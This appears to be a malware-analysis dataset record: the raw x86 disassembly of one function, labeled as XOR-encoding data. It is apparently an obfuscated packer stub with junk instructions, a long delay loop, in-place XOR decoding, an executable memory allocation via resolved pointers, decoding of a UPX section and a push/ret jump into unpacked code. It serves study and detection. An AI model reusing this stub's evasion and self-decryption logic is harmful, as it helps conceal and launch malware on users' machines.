Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1bf58a28
add esi, 0xee85a5c7
and edi, esi
add esi, edi
popal
and edi, esi
mov esi, 0xc005b7e8
mov eax, 0
mov ecx, esi
mov edi, 0xeb86c549
add ebx, 0xfc353489
mov edx, ecx
add ebx, 0x79f9c76b
sub edi, ebx
add edi, ebx
mov esi, edx
add ebx, edi
mov edi, 0xaa06e59e
add eax, 1
not edi
add edi, 0x809196f2
cmp eax, 0x1007d39
jne 0xa789c9
sub ebx, edi
inc ebx
inc ebx
not edi
mov edi, esi
add edi, 1
mov eax, 0xa78796
sub ebx, 1
inc edx
mov ecx, 0xa7898a
add esi, edx
sub edx, 0xc1158ac4
mov edi, dword [eax]
sub esi, edx
mov ebx, esi
and edi, 0xff
mov esi, edx
add edx, edx
dec ebx
xor dword [ecx], edi
or edx, esi
mov esi, edx
sub edx, 0x45677c4c
inc ecx
add edx, ebx
mov esi, edx
inc eax
or edx, edx
or edx, ebx
cmp ecx, entry0
jl 0xa78a2c
mov ebx, edx
inc edx
not ebx
add ebx, 0x49318e41
and esi, edi
add edi, esi
or edx, edi
mov ecx, 0xa7898e
not edx
inc edi
not edx
mov ecx, dword [ecx]
inc edi
inc edx
mov ecx, dword [ecx]
not esi
sub edi, esi
not esi
sub esp, 4
mov dword [esp], ecx
mov edx, 0x284cb50c
mov edi, 0x68d47a2a
not edx
mov ecx, 0xa7898a
dec esi
not esi
inc ebx
mov ecx, dword [ecx]
mov edi, 0xcba106cc
sub ebx, edi
add ebx, edx
mov ecx, dword [ecx]
sub edi, esi
mov edx, ebx
sub esp, 4
mov dword [esp], 0xa78992
mov edx, ebx
dec edi
call ecx
add ebx, esi
sub ebx, edi
mov ecx, dword [esp]
add esp, 4
not esi
mov esi, edi
add edx, 0x7416ae56
push 0xa7899f
sub edx, ebx
mov edi, ebx
not edx
sub esp, 4
mov dword [esp], eax
sub edx, 0xd9c08449
not esi
call ecx
or ebx, edx
mov edx, edi
sub ebx, 1
push 0x40
add esi, esi
add edx, 0xf997b94e
dec esi
sub esp, 4
mov dword [esp], 0x3000
or edi, edi
sub edx, ebx
push 0x20000a4b
sub edx, 1
sub esi, edi
push 0
add edx, 0xd1361bf3
mov esi, 0x9c00469a
call eax
mov edi, esi
sub ebx, edi
add edx, 0x3b432663
add eax, 0x20000996
mov esi, edx
not esi
mov ecx, 0xde31585c
sub esi, edi
add ebx, 0x8b5e2923
not edx
mov dword [eax], ecx
mov edx, 0xace7ab61
and edi, esi
and esi, ebx
mov ecx, dword [eax]
sub edi, 0xc924fea7
add esi, ebx
or edx, esi
cmp ecx, 0xde31585c
je 0xa78b7e
mov ebx, 0
mov byte [ebx], dl
sub esi, 0x168569f9
sub edx, 0x3b3ee86c
add edi, 0x45e23b5e
add ebx, edi
dec edx
not esi
mov edi, 0xa663a265
mov eax, section.UPX1
add esi, 1
and edi, esi
mov ebx, 0xa78795
add esi, 0x78039c72
or esi, esi
mov ecx, 0
sub edi, 0x116abb9c
sub edi, esi
mov edx, 0xa78796
mov edi, 0xe53bd19f
sub esi, edi
and esi, edi
lea edx, [edx + ecx]
and edi, edi
add edi, 0x471060a9
mov edx, dword [edx]
inc esi
add esi, 0xe9af9568
and edx, 0xff
mov esi, edi
sub esi, edi
sub esi, edi
inc ecx
inc edi
sub esi, 0xd457725e
cmp ecx, 0x1f4
jne 0xa78c04
mov ecx, 0
or esi, esi
or esi, esi
add esi, edi
and esi, edi
add esi, 1
xor dword [eax], edx
dec esi
mov edi, esi
inc edi
add eax, 2
or esi, edi
not esi
cmp eax, ebx
jl 0xa78bc1
mov edi, 0x6e15cf73
add edi, 0x84ee86a
add esi, edi
dec edi
add esi, esi
mov eax, section.UPX1
dec edi
add edi, 0x99c31120
mov esi, section.UPX1
sub edi, 0xce08a99e
mov ecx, 0x952eaeac
not edi
mov edx, 0xa78795
sub ecx, 1
and edi, edi
or edi, edi
mov ebx, 0
not ecx
sub edi, ecx
add ecx, edi
mov bl, byte [esi]
add ecx, 0x61490d55
and ecx, ecx
sub edi, ecx
mov byte [eax], bl
sub edi, ecx
not edi
or ecx, ecx
inc eax
or ecx, edi
add ecx, ecx
sub ecx, edi
add esi, 2
add edi, 1
mov edi, ecx
cmp esi, edx
jle 0xa78c72
mov edi, ecx
sub edi, 0x3869e285
inc esi
dec edi
push 0x8dc6a0
add edi, 0xfc18b2c8
add esi, 0xecab888b
ret